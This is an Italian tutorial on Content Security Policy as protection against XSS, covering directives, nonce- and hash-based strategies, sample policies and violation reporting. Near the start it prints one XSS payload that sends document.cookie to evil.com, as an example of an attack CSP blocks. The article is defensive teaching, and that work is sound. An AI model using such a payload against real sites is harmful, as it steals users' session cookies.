La Content Security Policy è lo strumento più efficace contro gli attacchi XSS (Cross-Site Scripting). Funziona come un firewall nel browser: definisce quali risorse possono essere caricate e da dove. Eppure, molti siti la implementano male o non la implementano affatto.
Come funziona la CSP
Quando il browser riceve l'header Content-Security-Policy, applica le regole definite a ogni risorsa della pagina. Se uno script non rispetta la policy, viene bloccato — anche se un attaccante è riuscito a iniettarlo nel vostro HTML.
Esempio di attacco XSS bloccato dalla CSP
Senza CSP, un attaccante inietta:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Con CSP script-src 'self', il browser blocca lo script perché non proviene dal vostro dominio.
Le direttive fondamentali
default-src
Fallback per tutte le direttive non specificate esplicitamente.
Content-Security-Policy: default-src 'self'
Questo da solo blocca tutto ciò che non proviene dal vostro dominio.
script-src
Controlla le sorgenti JavaScript — la direttiva più critica.
script-src 'self' https://cdn.trusted.com
| Valore | Significato | Rischio |
|--------|-------------|---------|
| 'self' | Solo dal vostro dominio | Basso |
| 'unsafe-inline' | Script inline permessi | Alto — disabilita protezione XSS |
| 'nonce-abc123' | Solo script con quel nonce | Basso |
| 'strict-dynamic' | Script caricati da script fidati sono fidati | Medio |
| https://cdn.example.com | Da quel CDN specifico | Medio |
style-src
Controlla le sorgenti CSS.
style-src 'self' 'unsafe-inline'
Nota: 'unsafe-inline' per gli stili è accettabile in molti casi (il rischio XSS via CSS injection è molto più basso che via JavaScript). Molti framework CSS lo richiedono.
img-src
Controlla le sorgenti delle immagini.
img-src 'self' data: https:
data: permette le immagini inline base64. https: permette qualsiasi sorgente HTTPS.
connect-src
Controlla le destinazioni di XHR, Fetch, WebSocket ed EventSource.
connect-src 'self' https://api.example.com wss://realtime.example.com
frame-ancestors
Sostituisce X-Frame-Options. Definisce chi può incorporare la vostra pagina.
frame-ancestors 'none'
form-action
Controlla le destinazioni dei form.
form-action 'self'
Impedisce a un form iniettato di inviare dati a un server esterno.
Strategie di implementazione
Strategia 1: Nonce-based (consigliata)
Ogni script legittimo riceve un nonce univoco generato lato server.
Content-Security-Policy: script-src 'nonce-R4nd0mV4lu3'
<!-- Permesso -->
<script nonce="R4nd0mV4lu3">
console.log('Script legittimo')
</script>
<!-- Bloccato — nessun nonce -->
<script>
alert('XSS bloccato!')
</script>
Il nonce deve essere diverso ad ogni richiesta — mai riutilizzare.
Strategia 2: Hash-based
Calcolate l'hash SHA-256 di ogni script inline e autorizzatelo nella CSP.
Content-Security-Policy: script-src 'sha256-abc123...'
Adatto per script inline statici che non cambiano.
Strategia 3: strict-dynamic
Fidatevi degli script caricati da script già fidati.
Content-Security-Policy: script-src 'strict-dynamic' 'nonce-abc123'
Se uno script con nonce valido carica dinamicamente un altro script, anche il secondo è autorizzato. Ideale per i framework JavaScript moderni.
CSP per casi comuni
WordPress
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:
WordPress richiede purtroppo unsafe-inline per molti plugin. Migliorate progressivamente man mano che i plugin supportano i nonce.
Next.js / React SPA
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{NONCE}'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com
E-commerce (con analytics e pagamenti)
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googletagmanager.com https://js.stripe.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; frame-src https://js.stripe.com; connect-src 'self' https://api.stripe.com https://www.google-analytics.com
Debug della CSP
Report-Only Mode
Testate la policy senza bloccare nulla:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
Il browser segnala le violazioni senza bloccarle — perfetto per il rodaggio.
Console del browser
Le violazioni CSP appaiono nella console con messaggi dettagliati:
Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src 'self'"
Endpoint di reporting
Configurate un endpoint per raccogliere i report delle violazioni:
Content-Security-Policy: ...; report-uri /api/csp-report
// /api/csp-report
export async function POST(req: Request) {
const report = await req.json()
logger.warn({ report }, 'CSP violation')
return new Response(null, { status: 204 })
}
Errori comuni
CSP troppo permissiva — default-src * o script-src 'unsafe-inline' annullano la protezione.
CSP che rompe il sito — Implementate sempre in Report-Only prima di passare in enforcement.
Nonce statico — Il nonce deve cambiare ad ogni richiesta HTTP. Un nonce fisso è inutile.
Dimenticare i sottodomini — Se i vostri script sono su cdn.example.com, script-src 'self' non basta.
Mancanza di report-uri — Senza un endpoint di reporting, non saprete mai quali violazioni si verificano in produzione.
CSP e il contesto normativo italiano
L'Agenzia per la Cybersicurezza Nazionale (ACN) raccomanda l'adozione di header di sicurezza, inclusa la CSP, come parte delle misure minime di protezione per le infrastrutture digitali. Nel contesto della Direttiva NIS2, recepita in Italia con il D.Lgs. 138/2024, le organizzazioni che operano nei settori essenziali e importanti devono dimostrare di aver adottato misure tecniche adeguate — e una CSP ben configurata è una di queste.
Anche il Garante per la Protezione dei Dati Personali ha indicato che la sicurezza tecnica dei siti web è un elemento valutato in caso di violazione dei dati personali. Un sito senza CSP che subisce un attacco XSS con furto di dati potrebbe essere considerato non conforme al principio di sicurezza del GDPR (art. 32).
Conclusione
La CSP è il singolo header di sicurezza più potente a vostra disposizione. Implementatela progressivamente: partite da Report-Only, analizzate le violazioni, stringete la policy e passate in enforcement. Il vostro sito sarà significativamente più resistente agli attacchi XSS.
Scansiona il tuo sito web gratis con WarDek — OWASP, NIS2, GDPR, AI Act in un'unica scansione.